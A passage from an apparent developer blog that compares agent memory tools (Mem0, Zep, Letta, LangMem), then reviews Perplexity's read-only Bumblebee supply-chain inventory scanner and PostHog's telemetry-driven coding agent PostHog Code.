Zep takes the opposite bet: facts aren't just true or false, they're true during a period of time, and an agent that doesn't track when something changed will confidently repeat stale information forever. Zep's core engine, Graphiti (open source, with reported star counts as high as ~27,000), stores memory as a temporal knowledge graph — subject-predicate-object triples annotated with both "valid time" (when the fact was true in the world) and "transaction time" (when the system learned it). That distinction matters for anything where facts get superseded: a user's job title, a support ticket's status, a deal stage in a CRM-fed agent.

Zep's own published benchmarks — from the paper "Zep: A Temporal Knowledge Graph Architecture for Agent Memory" — report 94.8% on the Deep Memory Retrieval benchmark versus 93.4% for MemGPT, and an 18.5% accuracy improvement on LongMemEval with a 90% latency reduction versus baseline implementations. Worth flagging plainly: those are the vendor's own numbers from the vendor's own paper, which doesn't make them false, but it does mean they're not independently reproduced in the way a third-party leaderboard would be. Pricing sits at the higher end of this group — Zep's Flex plan was listed at $125/month as of July 2026 — reflecting that you're paying for managed graph infrastructure, not just an API wrapper around a vector store.

The mechanics matter for query design, too: retrieving from Zep isn't a single nearest-neighbor lookup, it's a graph query that can traverse relationships between entities ("who reports to whom," "which ticket followed which ticket"), which is exactly what a flat vector store can't express. That expressiveness is also the cost center — every write has to resolve entities against the existing graph (is "the deal" the same deal mentioned three weeks ago, or a new one?) before it can be inserted, and entity resolution is a harder, noisier problem than appending a row to a vector index. Teams evaluating Zep should specifically test entity-resolution accuracy on their own data, not just retrieval accuracy on Zep's benchmark set.

Letta: memory as a first-class primitive inside an agent runtime, not a library you call

Letta is the odd one out, and it's odd on purpose. Where Mem0 and Zep are services you query from an agent you still control, Letta is the agent runtime — descended directly from the MemGPT research project out of UC Berkeley, built around what it calls an "LLM-as-operating-system" model. The agent manages its own memory through three tiers modeled on computer architecture: core memory (a small block that lives directly in the context window, like RAM, that the agent reads and edits itself), recall memory (searchable conversation history outside the context window, like a disk cache), and archival memory (long-term storage the agent queries explicitly via tool calls, like cold storage).

The practical consequence: adopting Letta means adopting its agent loop, not just its storage layer. In exchange you get agents that survive indefinitely as a long-lived service, editing their own core memory over time rather than relying on an external process to decide what to promote or discard. Letta's 2026 trajectory has moved further in this "agent runtime" direction rather than staying a memory add-on — Letta Code (a coding-agent product) scored 42.5% on Terminal-Bench, reportedly the top model-agnostic open-source agent on that benchmark, a desktop app shipped in April 2026, and a "Channels" feature replaced an earlier chat product called LettaBot in May 2026. Reported GitHub stars vary a lot by source — from roughly 13,000 to as high as 24,000 — which is a smaller and less consistent footprint than Mem0's, and worth independently checking rather than trusting a single number. Letta is free to self-host; a Pro plan is $20/month for up to 20 stateful agents plus a pay-as-you-go model-usage quota.

The core-memory tier is the part that's genuinely unusual: the agent doesn't just read that block, it calls a tool to edit it mid-conversation, the way a program would write to a variable. That means memory management shows up in your token bill and your latency budget as ordinary tool calls, not as an invisible background job — an agent that's actively reorganizing its own memory is spending part of every turn's context and inference time on that housekeeping, which is a real tradeoff against a design where memory updates happen asynchronously, off the critical path, as they do in Mem0 and LangMem's background-manager mode.

LangMem: the free, LangGraph-native option that's still finding its shape

LangMem is LangChain's own answer, and it's the only one of the four that's fully open source with no hosted tier to upsell into. It gives LangGraph agents three categories of long-term memory — semantic (facts), episodic (past experiences/examples), and procedural (learned behaviors, expressed as prompt updates) — through two integration patterns: "hot-path" tools the agent calls mid-conversation, and background memory managers that extract memories asynchronously after the fact. Its most distinctive feature is prompt optimization from memory: rather than only retrieving facts, LangMem can use accumulated experience to rewrite the agent's own system prompt over time, which is a lighter-weight version of what Letta does by letting the agent edit its own core memory.

Adoption is real — around 746,000 monthly PyPI downloads and 5 million-plus lifetime downloads as of June 2026 — but the project is still pre-1.0. The most recent tagged release was 0.0.30 in October 2025, even though commits to the repo continued actively into mid-2026. That combination (heavy usage, no stable 1.0, API still moving) is exactly the profile of a tool you should pin tightly and test on upgrade, not one to build a critical path on without a fallback plan.

Architecturally, LangMem is closer to a toolkit than a managed pipeline: it doesn't ship its own storage backend, it operates over whatever BaseStore you've already wired into LangGraph (in-memory for a prototype, Postgres or Redis in production), and its "memory manager" is just a scheduled or triggered LangGraph node that reads recent state and writes extracted memories back to that store. That's the tradeoff for being free and open source — you own the store, the indexing, and the ops, LangMem only owns the extraction and retrieval logic layered on top.

What actually changed to make this a category

None of the underlying ideas here are new — RAG-over-conversation-history and knowledge graphs both predate 2026 by years. What changed is that the default failure mode of agent memory shifted. Early agent memory was "shove the last N messages plus a vector-search hit into the prompt," which works until an agent runs long enough that stale and current facts coexist in the same retrieved set with no way to tell them apart. All four tools here exist specifically to solve that problem, but they solve it at different layers: Mem0 solves it by deciding what's durable enough to keep (extraction/promotion), Zep solves it by keeping everything but time-stamping it (temporal graph), Letta solves it by making forgetting the agent's own explicit, tool-mediated decision, and LangMem solves it by folding memory updates into prompt optimization rather than treating storage and behavior as separate concerns.

The counter-argument to the extraction-heavy approach (Mem0 and, to a lesser extent, Zep's fact triples) showed up in the same wave of 2026 research: a controlled ablation study titled "Verbatim Chunks Beat Extracted Artifacts" argues, as its title states plainly, that storing raw conversation chunks can outperform extracted memory artifacts for long LLM conversations. That's a direct challenge to the core design choice underneath the most popular tool in this comparison, and it's worth reading before you assume "extracted facts" is obviously the right default for your use case.

Why developers should actually care about the differences

Cost. These aren't equivalent line items. Mem0's free tier (10,000 memories) and $19/mo entry point make it the cheapest way to try the category. Zep's $125/mo Flex plan reflects managed graph infrastructure and is priced for teams that have already decided temporal accuracy is worth paying for. Letta is free to self-host, which shifts cost from subscription to your own ops burden — you're running the runtime, not just calling an API.

Latency. Zep's own benchmark claims a 90% latency reduction on LongMemEval versus baseline RAG, which is a meaningful claim if it holds in your workload — but it's self-reported, so validate it against your actual query patterns before treating it as a given. Graph traversal and fact-extraction pipelines both add processing steps a plain vector lookup doesn't have; that's the price of the accuracy they're chasing.

DX and lock-in. This is the sharpest divide in the group. Mem0 and LangMem are libraries — you keep your agent loop, your framework choice, your deployment model, and swap them out later without rearchitecting. Letta is a runtime — you're not adding memory to your agent, you're building your agent inside Letta's agent loop, which is a much bigger commitment to reverse if it doesn't work out. Zep sits in between: it's a service you call, but the temporal graph model is enough of a mental-model shift that migrating off it later means re-deriving whatever your app assumed about "when did we learn this."

Security and data retention. All four of these are, functionally, long-term stores of user conversation data — facts about real people, sometimes indefinitely. None of the marketing pages foreground how "right to be forgotten" deletion actually propagates through an extracted-fact store (does deleting a source conversation also delete facts already promoted into user-level memory in Mem0?) or through a graph where a fact might have downstream edges (Zep/Graphiti). If you're building something subject to GDPR-style deletion requirements, this is a question to ask each vendor directly rather than assume from the docs — it wasn't clearly answered in any of the material reviewed for this piece.

Maintainability. LangMem's pre-1.0 status is the most concrete maintainability risk here: an actively-downloaded library with no stable release is a library you should pin and monitor, not one you bolt on and forget. Letta's runtime commitment means memory bugs are agent-loop bugs — harder to isolate than a library call that returned a bad result. Mem0's promotion heuristics (deciding what gets promoted from session to user-level memory) are a source of silent correctness bugs if the wrong fact gets promoted and nothing flags it.

Practical use cases per option

Mem0: A support bot that needs to remember a user's plan tier and past complaints across sessions without your team standing up new infrastructure; a personalization layer bolted onto an existing multi-tenant SaaS chatbot; any team that wants to try agent memory without picking a framework religion first, and whose fit is reinforced by the AWS Agent SDK default.
Zep: An agent reasoning over a CRM or ticketing system where facts genuinely change over time (deal stage, ticket status, org chart) and getting the current state right — not just a state — is the product requirement; enterprise knowledge assistants where "when did this become true" is itself a query users ask.
Letta: Long-running autonomous agents — coding agents, ops agents, personal assistants — that are expected to operate for weeks without a human resetting their context, where you're willing to adopt an agent runtime in exchange for the agent managing its own memory budget.
LangMem: Teams already committed to LangGraph who want memory as a first-class LangGraph concept (not a bolted-on external call), are comfortable pinning a pre-1.0 dependency, and want the prompt-optimization angle — an agent that adjusts its own instructions from experience, not just its facts.

Comparison table

Dimension	Mem0	Zep	Letta	LangMem
Category	Memory library/API	Managed temporal knowledge graph	Stateful agent runtime	Open-source LangGraph memory SDK
Core mechanism	Scoped memory + fact promotion	Graphiti: time-stamped fact triples	Core/recall/archival memory tiers, agent-managed	Semantic/episodic/procedural memory + prompt optimization
Integration model	Library, framework-agnostic	Service you call	You build inside its runtime	Library, LangGraph-native
Lock-in	Low	Medium	High	Low-medium (LangGraph-coupled)
Entry pricing	Free (10K memories), then $19/mo+	Flex plan ~$125/mo	Free self-host; Pro $20/mo	Free, open source
Headline benchmark claim	AWS Agent SDK's default provider	94.8% DMR, +18.5% LongMemEval, -90% latency (self-reported)	#1 model-agnostic agent on Terminal-Bench (Letta Code)	~5M+ lifetime PyPI downloads
GitHub stars (reported range)	~48K-60K	Graphiti OSS ~20K-27K	~13K-24K (source-dependent)	N/A (SDK, not standalone repo star draw)
Maturity signal	$24M Series A, Oct 2025	Managed platform + OSS engine split	$10M seed, $70M post-money	Pre-1.0 (last tag 0.0.30, Oct 2025)
Best fit	Fast bolt-on personalization, multi-framework	Time-evolving enterprise facts	Long-running autonomous agents	LangGraph-committed teams, free/open-source priority

An independent read

Strip away the vendor pages and the actual disagreement here is philosophical, not just technical: should an agent's memory be curated for it (Mem0's promotion pipeline, Zep's temporal graph — both external processes deciding what's durable) or should the agent curate its own (Letta's core-memory editing, LangMem's prompt optimization)? There's no benchmark that settles this, because it's not a retrieval-accuracy question — it's a question about how much you trust the model to manage its own state versus how much you want a deterministic, inspectable pipeline doing it for you. Teams that want auditability and predictable costs should lean toward the external-curation tools (Mem0, Zep). Teams building genuinely autonomous, long-horizon agents — where part of the point is the agent adapting its own behavior — have a real reason to pay Letta's higher lock-in cost, because that self-management is the feature, not a side effect.

The benchmark numbers circulating for all of these (Zep's DMR/LongMemEval figures most visibly, but also the various GitHub-star and download counts) come predominantly from the vendors themselves or from their own papers, and they don't always agree with each other from source to source — a reminder to run your own eval on your own conversation traces before picking a default, rather than trusting a single comparison post (including this one) as ground truth.

How to actually evaluate these instead of trusting a leaderboard

None of the headline benchmarks above (Zep's DMR and LongMemEval numbers especially) were run on your data, your conversation lengths, or your definition of a "correct" memory. Before committing to one of these in production, it's worth running a small, cheap test that none of the vendor pages will do for you: take a real (anonymized) transcript from your own product that runs at least a few hundred turns, seed each candidate with it, then deliberately introduce a contradiction — a fact that changes partway through — and check two things separately: does the agent retrieve the updated fact rather than the stale one, and does it do so without the retrieval step adding noticeable latency to the turn. That single test surfaces the actual difference between "keeps everything and time-stamps it" (Zep) and "extracts and overwrites" (Mem0) faster than any published number will, because it's the exact scenario each architecture was built to handle differently.

Which reader profile should pick which option

If you're shipping a personalization feature this quarter and don't want to bet on a framework: Mem0, especially if you're already on or considering AWS's Agent SDK. If your agent's core value is reasoning about facts that change over time — CRM, support, anything with a "current status" — and you can absorb a higher price for accuracy: Zep. If you're building an agent meant to run autonomously for a long time and you're willing to adopt its runtime as your agent framework, not just its storage: Letta. If you're already on LangGraph, want zero licensing cost, and can tolerate a pre-1.0 dependency in exchange for tight framework integration and the prompt-optimization angle: LangMem. None of these is a universal default — the honest answer to "which agent memory tool should I use" is "it depends which failure mode you're more afraid of: forgetting the wrong thing, or never forgetting anything at all."

If your agent runs for months instead of minutes, which failure worries you more in practice — a stale fact the agent confidently repeats, or a bloated memory store the agent can no longer usefully search? Have you actually tested what happens to your own agent's behavior after a few thousand turns, or are you still assuming a longer context window postpones the problem?

Sources:

Perplexity Built a Supply-Chain Scanner With No Opinion About What's Dangerous

Jason Lee — Wed, 19 Aug 2026 06:12:37 +0000

In May 2026, Perplexity open-sourced a small Go binary called Bumblebee and picked up a few thousand GitHub stars for it within weeks. On paper it reads like every other "AI company ships a security tool" announcement that's flooded timelines this year. But read the design doc closely and Bumblebee is doing something almost contrarian: it is a supply-chain scanner that ships with no vulnerability database at all. No CVE feed. No built-in list of bad packages. No "we'll tell you what's dangerous." It scans your machine, tells you exactly what's installed and where, and then stops — waiting for you to hand it a list of names to look for.

That's not a limitation someone forgot to fix before the release. It's the entire design premise, and it's worth understanding why, because it says something about where the real gap in developer tooling currently sits — not in vulnerability databases, which are commoditized and plentiful, but in fast, low-friction visibility into what a fleet of developer laptops actually has sitting on disk, especially the newer categories (MCP servers, agent skills, editor extensions) that older scanners were never built to look at.

What Bumblebee actually is

Bumblebee is a read-only inventory and exposure-matching scanner for developer endpoints, written in Go with zero non-standard-library dependencies, requiring Go 1.25+ to build, and released under the Apache License 2.0. You install it with a single go install command or grab a static binary, run it against a machine, and it walks the filesystem looking for package-manager metadata, lockfiles, extension manifests, and MCP configuration files — never executing anything, never touching the network for threat intel, never requiring elevated privileges.

The ecosystems it currently understands: npm, pnpm, Yarn, and Bun for JavaScript; PyPI for Python; Go modules; RubyGems; Composer for PHP; Homebrew; VS Code and other editor extensions; browser extensions; and — notably, given who built it — MCP (Model Context Protocol) server configurations and AI agent skill definitions.

It emits everything as newline-delimited JSON (NDJSON), which is the detail that tells you who this tool is actually for. NDJSON isn't a format you read in a terminal; it's a format you pipe into jq, a SIEM, a fleet-management dashboard, or a spreadsheet during an incident. Bumblebee is built to be a component in a pipeline, not a standalone dashboard product.

How it works, mechanically

The architecture is deliberately narrow, and that narrowness is the interesting part.

Three scan profiles. A baseline scan checks global package roots and known toolchain locations — cheap enough to run on a schedule across a whole fleet via cron, launchd, or an MDM push script. A project scan targets configured development directories, useful for CI or a specific repo checkout. A deep scan walks broad, explicit roots like $HOME — the one you reach for during an actual incident, when you need to know everything a specific machine touched, not just the usual suspects.

Two record types. Every scan emits package records — one line per discovered component, with ecosystem, name, version, the source file it was read from, and a confidence level (high, medium, or low) reflecting how directly that metadata maps to a real installed package versus an inferred one. When you also pass an --exposure-catalog, the scanner cross-references every package record against it and emits finding records for exact (ecosystem, name, version) matches — or "*" to flag every version of a named package.

The catalog is BYO. This is the crux. An exposure catalog is just a JSON file the operator supplies — for example, a list of package names and versions pulled from a GitHub Security Advisory, an OSV.dev feed, or an internal incident-response bulletin ("we just learned left-pad-plus@3.2.1 was compromised, check everyone"). Bumblebee treats catalogs as trusted operator input; it does zero validation on where they came from, so the security model explicitly puts catalog integrity on you, not the tool.

It reads metadata, not truth. Bumblebee never executes package managers and never parses source code — it reads lockfiles and manifests as text. That's what makes it safe to run without a sandbox, but it also means it can miss anything installed outside a recognized manager's bookkeeping (a manually vendored dependency, a binary dropped into PATH, a global install the lockfile doesn't track).

MCP and agent-skill scanning is JSON-only, for now. It reads JSON-based MCP configs, but explicitly does not parse Codex's TOML config or Continue's YAML config — a real gap if your team standardizes on either. It does parse env blocks inside MCP configs (where credentials often live) but is careful to never emit the credential values themselves into its output records, only the fact that the block exists.

What running it actually looks like

The workflow is deliberately unglamorous. A baseline inventory scan is one command with no flags beyond the profile:

bumblebee scan --profile baseline --output inventory.ndjson

That produces one JSON object per line, something like:

{"type":"package","ecosystem":"npm","name":"left-pad-plus","version":"3.2.1","source":"/home/dev/app/package-lock.json","confidence":"high"}
{"type":"package","ecosystem":"mcp","name":"internal-search-mcp","version":"0.4.0","source":"/home/dev/.config/mcp/servers.json","confidence":"medium"}

To actually get findings instead of just an inventory, you write (or fetch) a catalog file — a flat JSON list of {ecosystem, name, version} tuples pulled from an advisory, an internal incident bulletin, or a converted OSV/GHSA feed — and pass it in:

bumblebee scan --profile deep --exposure-catalog ./ir-2026-08.json --output findings.ndjson

Now the matching engine runs, and any package record whose (ecosystem, name, version) tuple exact-matches (or matches a "*" wildcard entry) a catalog line gets emitted as a second, separate finding record referencing the original package record. There's also a bundled bumblebee selftest command specifically for validating a fleet deployment didn't silently break — worth noting because "the scanner ran but produced nothing" and "the scanner correctly found nothing" look identical in NDJSON unless you've verified the binary itself works first.

Nothing about this workflow is novel in isolation — plenty of tools read lockfiles and emit JSON. What's notable is how few moving parts there are between "we have a name we're worried about" and "here's every machine that has it," which is exactly the property you want under incident-response time pressure, when nobody wants to be debugging a scanner's own dependency chain at 2am.

What's actually new here

Traditional software composition analysis (SCA) tools — Snyk, Trivy, OSV-Scanner, Socket.dev — are built around the same core loop: parse your dependency tree, cross-reference it against a maintained vulnerability database (NVD, GHSA, OSV, or a proprietary feed), and rank findings by severity. That loop is mature and it works. It's also slow to extend to new categories of software, because someone has to go build and maintain a vulnerability database for that category before the loop produces any output.

Bumblebee skips that step entirely by not shipping a database. Instead it optimizes the other half of the problem — discovery — and covers surface area that mainstream SCA tools mostly ignore: MCP servers, agent skill directories, and editor/browser extensions sitting on a developer's actual machine, not just what's declared in a package.json. That's a deliberate bet that the bottleneck during an active incident isn't "do we know this package is bad" (you usually find that out from a GitHub advisory, a vendor email, or Twitter within hours) but "which of our 400 developer laptops actually have it, right now, so we can start remediation." Answering that second question with Snyk or Trivy today means either they already indexed the exact ecosystem you're worried about, or you're writing custom tooling under time pressure.

The other shift is scope of what counts as "supply chain." A year or two ago, that meant npm and PyPI packages. The explosion of MCP servers — installed by pointing a config file at a URL, often with zero registry, zero code review, and direct filesystem/network access granted to whatever agent loads them — and the parallel rise of "agent skills" as an installable unit, created a new, mostly unaudited category of code running with developer-level trust. Perplexity, as a company shipping its own agent products, is effectively acknowledging that its own ecosystem (and everyone else's MCP tooling) has outrun the auditing tools built for the npm era. That's the more interesting story here than "AI company releases scanner."

Why developers should actually care

The MCP/skills attack surface is real and currently under-tooled. Unlike an npm package, which goes through at least a registry publish step, an MCP server is often just "add this URL to a config file and restart your editor." There's no equivalent of npm audit for MCP servers yet, and most existing SCA products haven't caught up. If your team has developers installing MCP servers or agent skills from arbitrary sources — and if you use Claude Code, Cursor, or similar tools, some of your developers almost certainly are — you currently have close to zero visibility into what's actually configured across your fleet unless someone builds it themselves.

It's genuinely cheap to deploy. A zero-dependency static Go binary means no runtime to install, no Python virtualenv fights, no container image to maintain. You can push it via MDM, run it from a shell script in CI, or scp it to a machine during an incident and get structured output in seconds. That operational simplicity is worth more than it sounds during an actual fire drill, when the last thing you want is a scanner that itself needs pip install to run.

It composes instead of competing. Because it doesn't ship a vulnerability database, Bumblebee isn't trying to replace Snyk or Dependabot for day-to-day CVE triage — it slots in beside them as the fast, catalog-driven layer for "we have a specific list of known-bad things, tell us where they are." That's a narrower job than most SCA marketing promises, but it's a job those tools don't do well: turning a hand-written or advisory-sourced IOC list into a fleet-wide answer in minutes.

Read-only-by-design lowers the adoption bar. Security tooling that needs elevated privileges or that executes untrusted package manager commands is a harder sell to run broadly, especially on developer laptops people are protective of. A tool that only reads files with the invoking user's own permissions is much easier to get approved for wide rollout.

There's no vendor lock-in or seat pricing to negotiate. Snyk and similar platforms bill per developer or per scan volume, and once findings, suppressions, and policy exceptions live in someone else's dashboard, switching costs climb every month you use it. Bumblebee's entire state is a JSON catalog file and NDJSON output you own — nothing to export if you decide to stop using it, no dashboard history that only exists inside a vendor's product, and no minimum contract to get value from a single incident-response run. For a security-adjacent tool, that's a meaningfully lower-commitment way to try something before deciding whether it earns a permanent place in your stack.

Practical use cases

Incident response triage. A supply-chain compromise gets disclosed (a compromised npm maintainer account, a poisoned MCP server, a malicious VS Code extension). You build or receive an exposure catalog with the affected package/version, run a deep scan across affected machines via your existing fleet-management tooling, and get exact hit/no-hit answers in NDJSON you can aggregate immediately — instead of asking every developer to manually check.
Recurring baseline hygiene. Schedule baseline scans across developer machines (Bumblebee explicitly leaves scheduling to the operator — cron, launchd, systemd timers, or MDM) and feed the package-record stream into existing observability, building your own historical inventory of what's actually installed across the org over time, independent of any single vulnerability feed.
MCP/agent-skill governance. Even without an exposure catalog, running Bumblebee just for its package-record output gives you a first real inventory of which MCP servers and agent skills are configured across your developers' machines — useful groundwork before you can even write a sane policy about what's allowed.
Feeding a SIEM or data lake. NDJSON output is trivially ingestible by anything that speaks structured logs, so Bumblebee output can become one more signal source correlated against other endpoint telemetry, rather than a standalone report nobody reads.
Vendor/advisory cross-checks without waiting on tool support. When a new ecosystem-specific advisory drops for something niche a mainstream SCA vendor hasn't indexed yet, you can convert the advisory into a catalog JSON file yourself and get an answer same-day.
Pre-acquisition or pre-merger due diligence. Because it needs no agent install and no elevated privileges, a deep scan is a low-friction way to get an honest inventory of a codebase's actual runtime dependency footprint — including MCP tooling nobody wrote down anywhere — before two engineering orgs merge their infrastructure.

What the hype leaves out

Out of the box, it finds nothing. Because there's no bundled vulnerability database, running Bumblebee with no --exposure-catalog flag gives you an inventory and zero findings — full stop. Every piece of coverage I read framed this as "supply-chain scanner" without foregrounding that you, the user, are entirely responsible for sourcing, building, and maintaining the catalogs that make it useful for anything beyond inventory. That's a materially different value proposition than a tool like Trivy, which is useful the moment you install it.

macOS and Linux only. No Windows support is mentioned anywhere in the project's current scope. For organizations with a meaningful population of Windows developer machines, that's a real coverage gap, not a footnote.

Non-JSON MCP configs are invisible to it. Codex's TOML-based config and Continue's YAML config are explicitly unsupported. If your organization's AI tooling mix leans toward either, Bumblebee's MCP-scanning story is considerably weaker than the marketing framing ("covers MCP configs") implies.

Confidence levels imply a real false-positive/negative tradeoff that isn't quantified anywhere. The high/medium/low confidence field on package records is a tacit admission that metadata-only scanning is inherently approximate — a low-confidence inference from an ambiguous manifest could be wrong in either direction, and nothing in the public documentation gives you a sense of how often that happens in practice.

The exposure catalog is an unauthenticated trust boundary. The project's own security model states plainly that catalogs are trusted operator input with no integrity checking built in. That's a reasonable design choice for a tool this narrowly scoped, but it does mean the tool's actual security value is only as good as your organization's process for sourcing and vetting catalog files — which most teams don't have yet, because the tool that would consume such a catalog didn't exist until now.

It's read-only, which also means it's reactive. Bumblebee tells you what's already on disk. It does nothing to prevent installation of a malicious MCP server or extension in the first place, and nothing to alert you the moment something new appears — you have to keep re-running it.

How it stacks up

	Bumblebee	Trivy	OSV-Scanner	Snyk
Built-in vulnerability database	None — bring your own catalog	Yes (aggregated feeds)	Yes (OSV.dev)	Yes (proprietary + public feeds)
Scans MCP servers / agent skills	Yes	No	No	No
Scans editor/browser extensions	Yes	No	No	No
Execution model	Filesystem-only, never executes packages	Filesystem + image/container scanning	Filesystem-only	Filesystem + some execution for language servers
Dependencies to run	Zero (single Go binary)	Single binary, some DB downloads	Single binary	Requires account/CLI + network
Output format	NDJSON	JSON, table, SARIF, etc.	JSON, table	Dashboard + JSON/SARIF
Best fit	Fast, catalog-driven fleet triage and inventory	Continuous CVE scanning (containers, IaC, code)	Continuous OSS vuln scanning, CI-friendly	Continuous vuln management + remediation workflow
License / model	Apache 2.0, self-hosted	Apache 2.0, self-hosted	Apache 2.0, self-hosted	Commercial SaaS (free tier)

The honest way to read this table: Bumblebee isn't in the same competitive category as the other three for day-to-day vulnerability management. It's a narrower, faster tool for a specific job — "given a name, find it everywhere" — that happens to also cover ecosystems the others don't touch yet.

An independent read

Strip away the "Perplexity open-sources security tool" framing and what's left is a genuinely well-scoped piece of infrastructure: a zero-dependency, read-only inventory collector that's honest about being an inventory collector rather than overselling itself as a vulnerability scanner. That restraint is unusual — most tools in this space bundle a mediocre, partially-maintained vuln feed just so the demo has red findings in it. Bumblebee shipping with nothing to find by default is a credible signal that the team optimized for the tool being correct and trustworthy over it being immediately impressive.

The more interesting subtext is what it implies about Perplexity's own risk model. A company aggressively shipping AI agent products — with their own MCP integrations and skill ecosystems — built and open-sourced the tool for auditing exposure to exactly that category of software, ahead of any major SCA vendor doing so at the same depth. Whether that's institutional foresight or a reaction to something specific that happened internally isn't stated publicly anywhere I found, and it's worth being clear that no incident is documented as the direct trigger — but the timing, arriving as MCP server adoption has scaled past what any registry currently governs, isn't coincidental.

Where I'd push back on the coverage I read: several pieces described it as filling "the SBOM gap" for AI tooling, which overstates it. An SBOM is a declarative, exhaustive manifest; Bumblebee is a point-in-time filesystem sample with confidence-scored inference. It's closer to find with structured output and a matching layer than to a true SBOM generator like Syft. That distinction matters if you're evaluating it for a compliance use case rather than an operational one.

I'd also flag a structural risk that the project's own documentation is upfront about but that coverage glossed over: the exposure-catalog trust boundary means the tool's usefulness is gated entirely on an organizational process — sourcing, validating, and maintaining catalog files — that most teams don't currently have, because until now there was no tool that consumed such a file. Open-sourcing the scanner doesn't automatically produce that process. A team that adopts Bumblebee expecting turnkey protection and never builds a habit of feeding it fresh catalogs will get a false sense of coverage from a tool that, by its own security model, found nothing because it was never told what to look for. The tool is honest about this; the risk is that not every adopter will read the security model closely enough to notice.

Who should try it, who should wait

Try it now if you're running incident response for a fleet of developer machines and currently have no fast way to answer "who has this package/version," or if you want a first honest inventory of what MCP servers and agent skills are actually configured across your engineering org — a question almost nobody currently has a good answer to.

Wait if your organization is meaningfully Windows-heavy, or if your AI tooling is built primarily around Codex or Continue configs rather than JSON-based MCP setups — you'll get materially reduced coverage until (if) those are added.

Skip it if what you actually need is continuous, automatically-updated CVE coverage with remediation guidance; that's not this tool's job, and pairing it with something like Snyk, Trivy, or OSV-Scanner rather than instead of them is the more accurate mental model.

What's your read on tools that deliberately ship with no built-in threat intelligence and put the burden of sourcing IOCs entirely on the operator — is that the right tradeoff for a fast, trustworthy incident-response tool, or does it just shift the hard part of the problem onto teams that don't have a mature process for maintaining exposure catalogs?

Sources:

PostHog Shipped a Coding Agent That Reads Your Feature Flags Before Your Code

Jason Lee — Wed, 19 Aug 2026 03:11:35 +0000

Most coding agents ship blind to your product. They can read your diffs, your tests, your CI logs, and — if you've wired up an MCP server — maybe your ticket tracker. What they almost never see is what actually happened when real users touched the feature: which flag is still at 5% rollout, which experiment quietly lost, which endpoint has been throwing 500s for six days, which event volume just cratered. That context lives in your analytics stack, not your repo, and no amount of code-reading closes that gap.

PostHog — the open-source product analytics company — just shipped a coding agent that starts from the other side of that gap. It's called PostHog Code, it ships as a free, MIT-licensed desktop app (Electron, plus a React Native mobile companion), and its whole pitch is that it already knows which parts of your product are broken before it opens your editor, because it's the same company that's been logging your feature flags, experiments, session replays, and error events for years.

That's a genuinely different starting point from GitHub Copilot, Cursor, Devin, or Windsurf. Whether it's different enough to matter is the question worth actually digging into, because the marketing framing — "self-driving product development" — is doing a lot of work to paper over a product that is, as of this week, still gated behind a waitlist and mid-refactor under the hood.

What actually happened

PostHog first floated this idea publicly on May 5, 2026, in a blog post titled "PostHog Code and the self-driving product," which introduced a hosted feature called self-driving — an agent that scans your PostHog project for actionable signals (error spikes, dead feature flags, experiments that need a decision, and so on) and opens pull requests against your repo to fix them. That was a server-side, PR-bot-shaped feature bolted onto the existing PostHog product.

What shipped since is the bigger swing: a standalone desktop application that turns the agent into something you actually work inside, not just a bot that occasionally opens PRs while you're not looking. The project lived for a few months as its own repository, PostHog/code, tagged with the description "the era of self-driving development is here." On August 6, 2026, that repo was archived and its contents folded into the main PostHog/posthog monorepo under products/desktop — a consolidation that happened fast enough that anyone who starred or forked the standalone repo two months ago is now looking at an archive notice. The desktop app itself is still under active, near-daily release cadence: the changelog shows a desktop-v0.60.267 build cut on August 19, 2026 — the day this article was written — with fixes to a "grid canvas renderer," task/session ordering, and agent-generation scoping.

None of this has been covered as a discrete story anywhere I could find outside PostHog's own channels and a handful of aggregator sites reprinting their release notes. That's part of why it's worth writing about now rather than after the dust settles: the product is genuinely in motion, and the gap between what the landing page promises and what the repository shows is unusually visible while it's still this fresh.

What it actually does

Strip away the "self-driving" branding and PostHog Code is a desktop-native coding agent with one distinguishing input: it treats your PostHog project — feature flags, A/B experiment results, error tracking, event volume, session replay — as first-class context alongside your source code. The stated goal, straight from the apps/code README: "Free product engineers from distractions so they can focus on what they love: building great features. By using agents to transform all data collected across PostHog's products into actionable 'tasks,' then exposing them with that context through a single interface, we can automate all the chores."

Concretely, that means the agent's job queue isn't a backlog you write — it's generated from telemetry. An experiment that's been statistically significant for two weeks and nobody promoted the winning variant becomes a task. A feature flag left at 100% rollout for a month with no cleanup PR becomes a task. A new error signature crossing some threshold becomes a task. The agent triages these, and per PostHog's own framing: obvious fixes (dead flag removal, a straightforward null-check for a crash it can reproduce from the stack trace) ship as a PR without asking; ambiguous ones surface as a prioritized to-do list for a human to steer.

The desktop shell adds a few things a hosted PR-bot can't:

Cloud-run tasks. Work is dispatched into sandboxes PostHog manages, so a task keeps executing after you close the app or your laptop sleeps — you're not tethered to a running Electron process for a long-lived agent job.
"Quick ask." A screen-capture-driven query mode — point at something on screen and ask the agent about it — which on macOS requires explicitly granting the Screen Recording permission, and per the app's own troubleshooting docs, that permission grant is tied to Electron's code identity and gets invalidated on every Electron version bump, tccutil reset and re-grant required. That's a real, documented rough edge, not a hypothetical one.
A keyboard-driven task interface — arrow keys to navigate tasks, Cmd+R to refresh, Cmd+Shift+[/] to flip tabs — built more like an inbox-zero tool than a chat window.
Deep links via a posthog-code:// URI scheme, so a Slack alert or a PostHog dashboard link can hand off directly into a specific task in the app.

A concrete walk-through

The abstractions above are easier to evaluate with an actual task lifecycle, reconstructed from the documented feature set rather than a live account (the app is still waitlist-gated, so this is what the pieces described in PostHog's own docs and repo would produce, not a hands-on trace):

Signal. An experiment that PostHog has been running for three weeks crosses statistical significance on the treatment variant. Separately, an error tracking rule flags a new exception signature that's fired 40 times in the last hour on a checkout endpoint.
Task generation. Both become entries in the agent's task queue — not because a human filed a ticket, but because the telemetry crossed a threshold PostHog's own product was already watching.
Triage. The experiment-promotion task is "obvious": swap the flag's default, delete the losing branch's dead code, open a PR. The checkout exception is "tricky" — the agent can reproduce the stack trace but the fix touches payment logic, so it stops short of a PR and instead surfaces a diagnosis with a suggested patch for a human to approve.
Execution. The obvious task runs in a cloud sandbox PostHog manages, so it keeps working even if the desktop app is closed. The tricky one waits in the keyboard-navigable task list — arrow keys to select, Enter to open, full diagnostic context (which flag, which experiment, which error volume) inline next to the proposed change.
Billing. If the experiment-promotion task ships as a PR, that's $15 (or free, if it's within the first three that month). The checkout diagnosis that never became a PR because a human intervened costs nothing — reports are always free under the current pricing.

That's the whole pitch in one pass: telemetry in, triage by confidence, human override on anything ambiguous, billing only on shipped code changes. Whether it holds up under real-world flag hygiene and noisy error rates — where "obvious" fixes are rarer than the marketing implies — is exactly the kind of thing that won't be knowable until the waitlist opens wider.

